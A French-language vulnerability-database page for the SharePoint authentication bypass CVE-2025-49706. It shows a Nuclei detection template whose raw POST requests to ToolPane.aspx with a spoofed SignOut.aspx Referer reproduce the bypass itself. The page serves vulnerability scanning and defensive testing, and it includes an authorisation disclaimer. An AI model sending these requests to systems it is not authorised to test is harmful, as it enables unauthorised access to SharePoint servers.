Exploit matérialisé

CVE-2025-49706

MEDIUM KEV

1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.

À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.

Nuclei medium Vérifié

Source

Microsoft SharePoint Server - Authentication Bypass

Par projectdiscovery

Comment tester cet exploit

Le template Nuclei EST le test : une règle de détection exécutable. Installez nuclei, puis lancez-le contre une cible que vous contrôlez.

nuclei -id CVE-2025-49706 -u https://your-target

Template yaml

id: CVE-2025-49706

info:
  name: Microsoft SharePoint Server - Authentication Bypass
  author: daffainfo
  severity: medium
  description: |
    Improper authentication in Microsoft Office SharePoint allows an unauthorized attacker to perform spoofing over a network.
  impact: |
    Unauthenticated attackers can spoof authentication by manipulating the Referer header to access ToolPane functionality, potentially enabling unauthorized actions on SharePoint sites.
  remediation: |
    Apply the Microsoft security patches for SharePoint Server as described in the MSRC update guide.
  reference:
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49706
    - https://securelist.com/toolshell-explained/117045/
    - https://www.wiz.io/blog/sharepoint-vulnerabilities-cve-2025-53770-cve-2025-53771-everything-you-need-to-k
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/sharepoint_toolpane_rce.rb
    - https://nvd.nist.gov/vuln/detail/CVE-2025-49706
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2025-49706
    epss-score: 0.98841
    epss-percentile: 0.99925
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.component:"sharepoint"
  tags: cve,cve2025,sharepoint,auth-bypass,microsoft,vkev,kev

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Accept-Encoding: gzip

        MSOTlPn_Uri=&MSOTlPn_DWP=

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 301 || status_code == 302'
          - 'contains(all_headers, "Microsoftsharepointteamservices")'
          - 'contains(tolower(body), "object moved")'
        condition: and
        internal: true

  - raw:
      - |
        POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: /_layouts/SignOut.aspx
        Accept-Encoding: gzip

        MSOTlPn_Uri=&MSOTlPn_DWP=

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 400'
          - 'contains(all_headers, "Microsoftsharepointteamservices")'
        condition: and
# digest: 4b0a00483046022100dd6ae5743c04d57b3e52719014775d4c56318ee7cced217fddd87a4b38e68793022100e63957c5e079b1fa8d003d2d6b0c8e2f6ea4ed9307949e5ce23341bc7a5ba196:922c64590222798bb761d5b6d8e72950